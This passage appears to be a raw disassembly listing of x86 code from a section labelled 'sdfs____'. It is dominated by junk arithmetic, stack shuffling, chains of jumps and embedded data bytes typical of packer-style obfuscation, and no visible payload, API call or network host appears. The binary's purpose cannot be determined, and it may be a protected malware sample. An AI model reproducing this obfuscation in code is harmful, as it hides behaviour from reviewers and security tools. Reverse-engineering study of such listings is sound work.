		dd 0E7C15CB3h, 2E7C107h, 0B5E7814Fh, 8117CA6Fh,	0CC2CB9EFh
		dd 5FF82911h, 52242C8Bh, 0C281E289h, 4,	8704C283h, 15C2414h
		dd 5DB951D8h, 2D48517Ch, 16A32774h, 7405C801h, 0E916A327h
		dd 0FFFFF7E9h, 8FEE815Dh, 295AB279h, 8FC681CEh,	0E95AB279h
		dd 0FFFFD361h, 3C8B5457h, 0CFF2E924h, 0F181FFFFh, 108C846Fh
		dd 76AEBD55h, 0EE290DAFh, 0FFFFCFE9h, 2434FFFFh, 0FFBF53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5924B5:				; CODE XREF: sdfs____:005987EEj
		push	4
		pop	edi
		add	ecx, 33D73FC9h
		add	ecx, edi
		push	esi
		push	ecx
		jmp	loc_58D203
; ---------------------------------------------------------------------------


loc_5924CA:				; CODE XREF: sdfs____:0058BD52j
		sub	edi, 547C01CAh
		add	edi, ecx
		push	ecx
		mov	ecx, 547C01CAh
		add	edi, ecx
		jmp	loc_58D0B6
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0B7DCE953h, 0E95AFFFFh, 3A3Ah, 0E957D7F7h, 44FDh
; ---------------------------------------------------------------------------


loc_5924F4:				; CODE XREF: sdfs____:00590C27j
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 25h
		jmp	loc_58F0DE
; ---------------------------------------------------------------------------
		db 80h,	0CBh, 7Ah
		dd 0FEF1F380h, 0C5EB80C3h, 0FFEA61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592511:				; CODE XREF: sdfs____:00591684j
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		jmp	loc_58F960
; ---------------------------------------------------------------------------


loc_592523:				; CODE XREF: sdfs____:0058F9DBj
		mov	ebp, 46693E3Bh
		not	ebp
		jmp	loc_593B43
; ---------------------------------------------------------------------------


loc_59252F:				; CODE XREF: sdfs____:loc_58C629j
		xor	ebp, 24FA7F09h
		jnz	loc_595214
		add	ebp, 8825B96h
		neg	ebp
		jmp	loc_591032
; ---------------------------------------------------------------------------
		db 0B6h, 0EFh
; ---------------------------------------------------------------------------


loc_59254A:				; CODE XREF: sdfs____:0058FEA4j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_594BF5
; ---------------------------------------------------------------------------


loc_59255C:				; CODE XREF: sdfs____:0058E5F7j
		mov	[esp], edx
		push	ebp
		jmp	loc_595BC1
; ---------------------------------------------------------------------------


loc_592565:				; CODE XREF: sdfs____:00592B80j
		or	eax, 17A75BF7h
		push	52CDh
		mov	[esp], ebx
		push	ebp
		jmp	loc_595CDF
; ---------------------------------------------------------------------------
		dd 4C681h, 34330000h, 24343124h, 0FFDF32E9h, 1C38BAFFh
		dd 0D1315D88h, 0D0C9815Ah, 0C1369737h, 0BEE907E9h, 0D100000Eh
		dd 55EBD1E3h, 7973A1BDh, 0E9D5F76Bh, 0FFFFB5DDh
; ---------------------------------------------------------------------------


loc_5925B0:				; CODE XREF: sdfs____:00590E17j
		mov	[esp], ecx
		push	679Bh
		mov	[esp], esi
		push	2EEE4E74h
		mov	esi, [esp]
		add	esp, 4
		push	0
		sub	[esp], esi
		pop	esi
		and	esi, 1F7B6088h
		jb	loc_591B26
		push	edi
		mov	edi, 3D333F76h
		jmp	loc_5931FF
; ---------------------------------------------------------------------------


loc_5925E6:				; CODE XREF: sdfs____:00597B72j
		sub	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		add	eax, 32B65472h
		add	eax, ebp
		push	ebx
		mov	ebx, 32B65472h
		add	eax, 44C94C13h
		sub	eax, ebx
		push	ecx
		push	44C94C13h
		jmp	loc_594D2D
; ---------------------------------------------------------------------------


loc_59260B:				; CODE XREF: sdfs____:0058E0A1j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 33D01293h
		sub	dword ptr [esp+4], 7B342E1Dh
		sub	dword ptr [esp+4], 3F091B08h
		add	[esp+4], esi
		add	dword ptr [esp+4], 3F091B08h
		push	ebp
		push	edi
		push	5A8F1274h
		pop	edi
		jmp	loc_58C84B
; ---------------------------------------------------------------------------


loc_592646:				; CODE XREF: sdfs____:00598552j
		add	esp, [edx+38h]
		push	ebx
		push	edi
		push	eax
		push	3B0A2673h
		pop	eax
		xor	eax, 0DAC1613h
		jmp	loc_5917C0
; ---------------------------------------------------------------------------
		dd 316BBE56h, 0CE812521h, 44210697h, 3AFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59266D:				; CODE XREF: sdfs____:00591449j
		mov	edx, 69C54D65h
		sub	ebx, 77663FCEh
		sub	ebx, edx
		add	ebx, 77663FCEh
		pop	edx
		add	ebx, 4F0E5EE9h
		sub	ebx, 23B06384h
		sub	ebx, 3C247E97h
		add	ebx, eax
		push	edx
		mov	edx, 3C247E97h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 23B06384h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4F0E5EE9h
		sub	ebx, ebp
		pop	ebp
		push	esi
		jmp	loc_597E67
; ---------------------------------------------------------------------------
		db 66h
		dd 5E932FFh, 81FFFFF0h,	6A2396EBh, 0BA525A02h, 2, 3DCCC381h
		dd 0D30115A2h, 136AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5926E5:				; CODE XREF: sdfs____:005988F2j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		xchg	ebp, edi
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebp, edi
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58D610
; ---------------------------------------------------------------------------


loc_592707:				; CODE XREF: sdfs____:0059826Ej
		add	esp, 4
		pop	ebp
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58CFC2
; ---------------------------------------------------------------------------


loc_59271E:				; CODE XREF: sdfs____:0058F8ECj
		add	eax, ebx
		add	eax, 715936A8h
		jmp	loc_595C01
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 4BC1C281h, 50596A76h, 0A431EDB8h, 25D8F750h,	197806ECh
		dd 0CEE9h, 50AD0500h, 0C8B4D7Ah, 4EC8124h, 89000000h, 0E189240Ch
		dd 4C181h, 0BA520000h, 78E14AF9h, 0E281D2F7h, 63F72B27h
		dd 0CA81DAF7h, 1DCC2B84h, 6C281h, 0D1010212h, 240C875Ah
		dd 7923685Ch, 2C890000h, 6A6FBD24h, 0C6E95DDAh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592793:				; CODE XREF: sdfs____:00593D84j
		dec	ebp
		jnz	loc_5965B4
		shr	ebp, 3
		jnz	loc_597E85
		jp	loc_58C3FE
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_594A6A
; ---------------------------------------------------------------------------


loc_5927B7:				; CODE XREF: sdfs____:0058F13Aj
		or	si, cx
		jmp	loc_58DF69
; ---------------------------------------------------------------------------


loc_5927BF:				; CODE XREF: sdfs____:00596520j
		shl	edx, 4
		add	edx, 39F83CA8h
		jmp	loc_596B2A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aVha		db '$Vh€$',0
		dw 5400h
		dd 5024048Fh, 4B8h, 24440100h, 0AC4FE904h, 1487FFFFh, 14895C24h
		dd 4EC8124h, 89000000h,	4812424h, 424h,	0C2815A00h, 4
		dd 4EC81h, 7AE90000h, 5000019h,	2BF3647Ah, 8158C129h, 4A7BF7E9h
		dd 81D1015Ah, 4A7BF7C1h, 7AC1815Ah, 0E9354B6Ah,	0FFFFB97Ch
; ---------------------------------------------------------------------------


loc_592834:				; CODE XREF: sdfs____:0058FDDFj
		xor	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		sub	eax, 74593CE0h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_58FC72
; ---------------------------------------------------------------------------


loc_592853:				; CODE XREF: sdfs____:0058D18Fj
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		jmp	loc_58BFBC
; ---------------------------------------------------------------------------


loc_592864:				; CODE XREF: sdfs____:00591E21j
		pop	esi
		jmp	loc_595E10
; ---------------------------------------------------------------------------
		dw 0E9C0h
		dd 0B0840F08h, 0E9000053h, 3FF1h, 0C0E9CB87h, 5FFFFFABh
		dd 0EA81CA01h, 3F564214h, 24148759h, 6624248Bh
		db 0F7h, 0E1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		push	7B8Eh
		mov	[esp], edx
		mov	edx, 2
		sub	ebp, 460C4516h
		add	ebp, 1F3E34C4h
		sub	ebp, edx
		sub	ebp, 1F3E34C4h
		jmp	loc_5915D8
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 0FEE95EF5h, 0E9000059h, 0FFFFA298h, 56242C89h
		dd 0B7B79BEh, 8BC68177h, 8988F484h, 2CFEE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5928F6:				; CODE XREF: sdfs____:0058F645j
		add	esp, 4
		jmp	loc_5975CA
; ---------------------------------------------------------------------------


loc_5928FE:				; CODE XREF: sdfs____:00590255j
		add	ebp, 506C2058h
		xor	ebp, 2CC9357Dh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_592D3F
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 0FFBC66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592919:				; CODE XREF: sdfs____:00590872j
		add	al, 0F5h
		add	al, 58h
		push	ecx
		mov	ch, 9Ah
		sub	al, 0A7h
		sub	al, 22h
		sub	al, ch
		push	cx
		mov	ch, 22h
		add	al, ch
		pop	cx
		push	ebx
		mov	bh, 0D7h
		not	bh
		jmp	loc_591397
; ---------------------------------------------------------------------------


loc_592938:				; CODE XREF: sdfs____:005955B9j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	edi
		push	eax
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		not	eax
		jmp	loc_58CB72
; ---------------------------------------------------------------------------


loc_59295F:				; CODE XREF: sdfs____:0058D356j
		add	ecx, edx
		sub	ecx, 1A910223h
		pop	edx
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_58CDD9
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0E8h, 5C242C87h, 4EC8351h, 50242C89h, 2B80BB53h, 7B811D9h
		dd 13DD4E0h, 241C8BD8h,	30CE9h,	4C68100h, 0E9000000h, 6320h
		dd 81E38953h, 4C3h, 4EC8300h, 0FFE1C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5929B9:				; CODE XREF: sdfs____:00595EB8j
		sub	esp, 4
		jmp	loc_59194A
; ---------------------------------------------------------------------------


loc_5929C1:				; CODE XREF: sdfs____:0058F8A2j
		add	esp, 4
		or	ebx, 30946CC4h
		jmp	loc_5967D9
; ---------------------------------------------------------------------------


loc_5929CF:				; CODE XREF: sdfs____:00594811j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_59597F
; ---------------------------------------------------------------------------
		dd 9B2E6DBAh, 0F2EA814Ah, 8147932Bh, 0C111A0E2h, 0B6F2814Ch
		dd 51021267h, 82175AB9h, 65F1812Ch, 0F70CA729h,	168D9h
		dd 14890000h, 12D9BA24h, 13E9515Ah, 89FFFFD5h, 24048BC6h
		dd 4C481h, 0F0310000h, 0F0E9535Eh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_592A37:				; CODE XREF: sdfs____:0058FC17j
		pop	esp
		push	edi
		push	eax
		mov	eax, 14892763h
		mov	edi, 0EB76D89Fh
		add	edi, eax
		jmp	loc_58D6E9
; ---------------------------------------------------------------------------


loc_592A4B:				; CODE XREF: sdfs____:loc_591814j
		sub	ebp, 3597C875h
		mov	esi, ebp
		pop	ebp
		jmp	loc_597A49
; ---------------------------------------------------------------------------


loc_592A59:				; CODE XREF: sdfs____:0059500Dj
		add	esi, 1A1F583Ch
		jmp	loc_58F640
; ---------------------------------------------------------------------------
		dd 17266168h, 0D412E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592A6E:				; CODE XREF: sdfs____:00590277j
		mov	bl, dl
		mov	cl, bl
		jmp	loc_58FC37
; ---------------------------------------------------------------------------


loc_592A77:				; CODE XREF: sdfs____:00597B68j
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, ebp
		jmp	loc_594CF0
; ---------------------------------------------------------------------------


loc_592A84:				; CODE XREF: sdfs____:00592FEFj
		xchg	ecx, [esp]
		pop	esp


loc_592A88:				; CODE XREF: sdfs____:005938CBj
					; sdfs____:005956B5j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	407Ch
		jmp	loc_59719A
; ---------------------------------------------------------------------------
		db 66h,	51h, 88h
		dd 88D1F6D9h, 805966CBh, 516610C3h, 88D88850h, 0CDFE58C5h
		dd 5E9EB88h, 55000032h,	0FF94CDE9h, 0D4C380FFh,	0FFD058E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592AC5:				; CODE XREF: sdfs____:0059808Dj
		pop	esi
		add	[esp+4], esi
		jmp	loc_5976DD
; ---------------------------------------------------------------------------


loc_592ACF:				; CODE XREF: sdfs____:0058EC6Dj
		push	2
		mov	ebp, [esp]
		jmp	loc_591CED
; ---------------------------------------------------------------------------
		dd 6E36C681h, 0EE815536h, 458A26A0h, 0C681C601h, 458A26A0h
		dd 6E36EE81h, 2DE95536h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592AFB:				; CODE XREF: sdfs____:0058F212j
		jo	loc_58F838
		add	esi, 0A17C92E8h
		mov	edx, esi
		jmp	loc_597FD5
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041966h, 8EA7E99Ch, 34FFFFFFh, 2434FF24h
		dd 81240C8Bh, 4C4h, 5F545700h, 4C781h, 0E9550000h, 4F80h
		dd 0EDC1D5F7h, 0AABE903h, 0CA290000h, 5F11E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592B4E:				; CODE XREF: sdfs____:0058FB18j
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58CC16
; ---------------------------------------------------------------------------


loc_592B64:				; CODE XREF: sdfs____:0058BC57j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 4C740CBBh
		dec	eax
		or	eax, 4A312A9Dh
		jmp	loc_592565
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E2895258h, 4C281h, 0EC830000h, 241C8904h, 2531E9h
		dd 350400h, 66352CD8h, 57241C8Bh, 0C781E789h, 4, 614368h
		dd 24048900h, 2B8h, 58C70100h, 8B243C87h, 0C3302424h, 0FFDC59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592BCD:				; CODE XREF: sdfs____:00590332j
		not	ebp
		xchg	ebp, ebx
		inc	ebx
		push	465h
		jmp	loc_58DD9C
; ---------------------------------------------------------------------------


loc_592BDC:				; CODE XREF: sdfs____:0058F21Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59377D
; ---------------------------------------------------------------------------
		db 80h
		dd 0CDFEE9C5h, 0E3F58A0Fh, 0F580FFFFh, 0F5E9532Ch, 8BFFFFCAh
		dd 0C381243Ch, 0DCEAAA9Fh, 0FFB3DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592C09:				; CODE XREF: sdfs____:00596A88j
		xor	ebx, edi
		jmp	loc_59678D
; ---------------------------------------------------------------------------
		dd 5204C483h, 2069E9h
		db 0
; ---------------------------------------------------------------------------


loc_592C19:				; CODE XREF: sdfs____:00590CA3j
		sub	al, 0DCh
		add	al, dh
		jmp	loc_593BE0
; ---------------------------------------------------------------------------


loc_592C22:				; CODE XREF: sdfs____:00593A7Fj
		mov	eax, 715A5B6Ch
		or	ecx, eax
		pop	eax
		jmp	loc_594F55
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD259h, 8D87E99Ch, 0BF57FFFFh,	0A9B85E82h
		dd 815FF929h, 5462C2EBh, 81CB015Bh, 5462C2C3h, 0C383595Bh
		dd 3941E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592C5E:				; CODE XREF: sdfs____:0059571Aj
		add	esi, 0CF84D17h
		jns	loc_593B8A
		sub	esi, 0F8F81BC6h
		mov	edi, esi
		pop	esi
		mov	ch, 28h
		pop	ebx


loc_592C76:				; CODE XREF: sdfs____:00593170j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5948FB
; ---------------------------------------------------------------------------


loc_592C8F:				; CODE XREF: sdfs____:00595DC6j
		xor	ch, ah
		mov	eax, [esp]
		add	esp, 4
		sub	al, ch
		mov	ecx, [esp]
		push	24BDh
		mov	[esp], ebx
		jmp	loc_59891C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 89000000h, 0E58158C5h, 4DD944B7h, 390AE9h, 0E9596600h
		dd 0FFFFF6F1h, 75F5C381h, 0DA895085h, 5EAC15Bh,	66E9DAF7h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592CD7:				; CODE XREF: sdfs____:00592FB6j
		mov	ecx, ebx
		pop	ebx
		shl	ecx, 6
		xor	ecx, 2E2771FAh
		jmp	loc_591CAA
; ---------------------------------------------------------------------------
		dd 5E99E381h, 0EB8175A1h, 20420Ch, 5276EF81h, 0DF012765h
		dd 0FFCE4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592D01:				; CODE XREF: sdfs____:0058D9EAj
		push	dword ptr [esp]
		jmp	loc_593E92
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 81C33124h, 0BD14DCEAh,	0BDEA8123h
		dd 171441Ch, 0BDC281C2h, 5771441Ch, 0A2207BFh, 37CF8118h
		dd 8322796Dh, 0ADE901EFh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592D3F:				; CODE XREF: sdfs____:0059290Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1C8F0645h
		or	ecx, ebx
		pop	ebx
		jmp	loc_58D0D5
; ---------------------------------------------------------------------------


loc_592D52:				; CODE XREF: sdfs____:005979ABj
		sub	al, 0C3h
		sub	al, 0D3h
		mov	ebx, [esp]
		jmp	loc_597576
; ---------------------------------------------------------------------------


loc_592D5E:				; CODE XREF: sdfs____:0058DF3Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		mov	eax, 7C964FF2h
		sub	[esp+4], eax
		pop	eax
		pop	ebp
		jmp	loc_59434E
; ---------------------------------------------------------------------------


loc_592D87:				; CODE XREF: sdfs____:0059192Fj
					; sdfs____:005942ADj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0D599E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592D9E:				; CODE XREF: sdfs____:loc_58CC74j
		jmp	loc_5943DC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 51CBC380h, 0ED80F4B5h, 81E580B5h, 0B753D5F6h, 4AED80BAh
		dd 0C580FD00h, 6003E94Ah, 0C2810000h, 4, 4B951h, 0CA290000h
		dd 24148759h, 0FF9259E9h, 2DD8F7FFh, 496878ECh,	8158C309h
		dd 0F779D3F3h, 5BDE0156h, 2BF57h, 0D1E90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592DF7:				; CODE XREF: sdfs____:005983A0j
		mov	esi, 4
		add	ebp, 730E780Ah
		add	ebp, esi
		sub	ebp, 730E780Ah
		jmp	loc_598989
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 5FFA0100h, 5C241487h, 8904EC83h, 31E9243Ch, 0B600004Ah
		dd 6877h, 34280000h, 0DDDAE924h, 424AFFFFh, 24F2C281h
		dd 0C28164F7h, 61E76545h, 3D12E281h, 0BD550228h, 220C116Fh
		dd 53E94D4Dh, 1000056h,	0C7815EF7h, 2, 535CE9h,	5585400h
		dd 4, 4BB53h, 0D8290000h, 74FF505Bh, 8F580424h,	8DE92404h
		dd 8000001Ah, 0EE30C7F5h, 0FF97AFE9h, 0F7CA87FFh, 51CA87D1h
		dd 815A5952h, 6DCE26F1h, 59CF89FCh, 0E95FF901h,	2ACCh
; ---------------------------------------------------------------------------


loc_592EA8:				; CODE XREF: sdfs____:0058DCEEj
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 6DE63EC4h
		xor	edx, 266C1017h
		jmp	loc_5977A3
; ---------------------------------------------------------------------------


loc_592EC0:				; CODE XREF: sdfs____:00592076j
		push	493Dh
		mov	[esp], eax
		mov	al, 0CCh
		push	ecx
		push	ebx
		mov	bh, 39h
		mov	ch, bh
		pop	ebx
		shr	ch, 6
		jmp	loc_591952
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 4
		dd 0FF8BD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592EE1:				; CODE XREF: sdfs____:00590325j
		xor	ecx, ebx
		jmp	loc_58C53B
; ---------------------------------------------------------------------------
		dd 5C1DF781h, 0FD8944B5h, 0E9EA015Fh, 0FFFF91CBh
; ---------------------------------------------------------------------------


loc_592EF8:				; CODE XREF: sdfs____:0058F487j
		shr	eax, 0Eh
		xor	eax, ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_595AC4
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 123FE9h, 4C48100h, 0E9000000h, 0FFFF8AA1h
; ---------------------------------------------------------------------------


loc_592F24:				; CODE XREF: sdfs____:loc_597A7Dj
		xor	ebx, 3BE0C4F2h
		mov	ecx, ebx
		pop	ebx
		xor	edi, ecx
		jmp	loc_58FE42
; ---------------------------------------------------------------------------


loc_592F34:				; CODE XREF: sdfs____:00594C23j
		push	2AAAh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_594124
; ---------------------------------------------------------------------------


loc_592F43:				; CODE XREF: sdfs____:005917BBj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 20C14D4h
		xor	ebx, 20C14D0h
		add	edi, ebx
		push	dword ptr [esp]
		jmp	loc_59083E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 240C8904h, 0BD55E189h, 2F741846h, 6459F581h
		dd 0B1E90846h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592F7B:				; CODE XREF: sdfs____:00597D56j
		mov	si, 7BA1h
		and	dx, si
		pop	si
		jmp	loc_5901C3
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 0E924048Bh, 32A9h, 52242C8Bh, 9E9E289h, 66FFFFF1h
		dd 53240C8Bh, 0E951E389h, 0AD4h
; ---------------------------------------------------------------------------


loc_592FB0:				; CODE XREF: sdfs____:005910D4j
		sub	ebx, 6FB5FE02h
		jmp	loc_592CD7
; ---------------------------------------------------------------------------


loc_592FBB:				; CODE XREF: sdfs____:0058C5A5j
		inc	edi
		js	loc_597E8D
		push	edx
		jmp	loc_590CA8
; ---------------------------------------------------------------------------


loc_592FC8:				; CODE XREF: sdfs____:005904F3j
		xor	[esp], ebx
		push	ecx
		push	5F5Ch
		jmp	loc_5986B7
; ---------------------------------------------------------------------------
		dw 1C86h
		dd 0F6EB8624h, 3935E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592FE2:				; CODE XREF: sdfs____:0058CC92j
		pop	ecx
		jmp	loc_58C7F6
; ---------------------------------------------------------------------------


loc_592FE8:				; CODE XREF: sdfs____:0059018Aj
		add	ecx, 3AE516B9h
		pop	esi
		jmp	loc_592A84
; ---------------------------------------------------------------------------
		dd 64D1F3BFh, 5FFA290Dh, 0E95AD029h, 0FFFF8DCCh, 28E9F231h
		dd 8BFFFFF0h, 66642424h, 0AEE90289h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593017:				; CODE XREF: sdfs____:0058EA58j
		pop	dx
		jmp	loc_593EFB
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 90270CCBh, 3EB8125h,	0F75AD5Bh, 0FF96288Dh, 0A6E955FFh
		dd 0C100002Eh, 0C2D03E0h, 89B070B1h, 4CE958C1h,	0E9000024h
		dd 0FFFFE84Ch
; ---------------------------------------------------------------------------


loc_59304C:				; CODE XREF: sdfs____:0058DFE1j
		mov	edi, 189D5CE3h
		sub	edi, 0BA4725B3h
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		and	ebx, 61152A2Eh
		and	ebx, 515469D9h
		jb	loc_5981C9
		add	ebx, 0BFF3E000h
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58E510
; ---------------------------------------------------------------------------
		dw 0CE31h
		dd 0E6ADE959h, 0E95EFFFFh, 0FFFF892Dh, 4240483h, 40B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5930A1:				; CODE XREF: sdfs____:0058C3E7j
		mov	esi, 3E8A781Bh
		push	ebx
		mov	ebx, 33F45AF4h
		jmp	loc_5907F6
; ---------------------------------------------------------------------------


loc_5930B1:				; CODE XREF: sdfs____:00593250j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5930B6:				; CODE XREF: sdfs____:005941A2j
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58F616
; ---------------------------------------------------------------------------


loc_5930CF:				; CODE XREF: sdfs____:00597CA8j
		add	esi, ecx
		pop	ecx
		add	eax, esi
		jmp	loc_595C16
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 2
		dd 0FF88E4E9h, 0B151ACFFh, 7E9C01Eh, 5306E1C0h,	0F9083AB7h
		dd 1BE1805Bh, 8018E980h, 87E95FE9h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5930FF:				; CODE XREF: sdfs____:0058E0EBj
		push	ecx
		mov	ecx, 472B251Bh
		and	ecx, 1709417Dh
		dec	ecx
		push	eax
		mov	eax, 709011Ch
		xor	ecx, eax
		jmp	loc_58F628
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 0D8h
		dd 805BFA00h, 70E9AFF2h, 0BBFFFF9Bh, 20EE5E72h,	0FF9BCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593131:				; CODE XREF: sdfs____:00594A65j
		push	ebp
		mov	ebp, 70734B21h
		inc	ebp
		and	ebp, 2BC72F7Fh
		and	ebp, 211E0B44h
		neg	ebp
		xor	ebp, 0A8DA9C83h
		add	edx, ebp
		pop	ebp
		xor	ebx, edx
		pop	edx
		and	ebp, ebx
		pop	ebx
		or	ebp, 72D62E5h
		sub	ebp, 0FED5EEDh
		and	eax, ebp
		pop	ebp
		jmp	loc_593FF2
; ---------------------------------------------------------------------------


loc_593169:				; CODE XREF: sdfs____:0058C1CFj
		pop	ecx
		add	ecx, 4
		jmp	loc_592C76
; ---------------------------------------------------------------------------
		db 0ADh, 55h, 0BDh
		dd 35DB2D13h, 9E38C42Dh, 5F082D16h, 0E8291882h,	114E9h
		dd 4C78100h, 83000000h,	3C8704EFh, 24895C24h, 24048124h
		dd 4, 91DDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5931AA:				; CODE XREF: sdfs____:00592007j
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_598397
; ---------------------------------------------------------------------------
		dd 2474FF52h, 48F5A04h,	0BD555C24h, 4, 535DEE01h, 2BBh
		dd 89C68100h, 149413Dh,	89EE81DEh, 0FF49413Dh, 835B2434h
		dd 348704C4h, 24D25C24h, 0C6E99C24h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5931FF:				; CODE XREF: sdfs____:005925E1j
		xor	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		xor	edx, ecx
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_59321D:				; CODE XREF: sdfs____:005913F0j
		mov	[esp], esp
		jmp	loc_58D5DD
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0D0h
		dd 0FF9257E9h, 0FFC580FFh, 83E95066h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593237:				; CODE XREF: sdfs____:00596C93j
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_5930B1
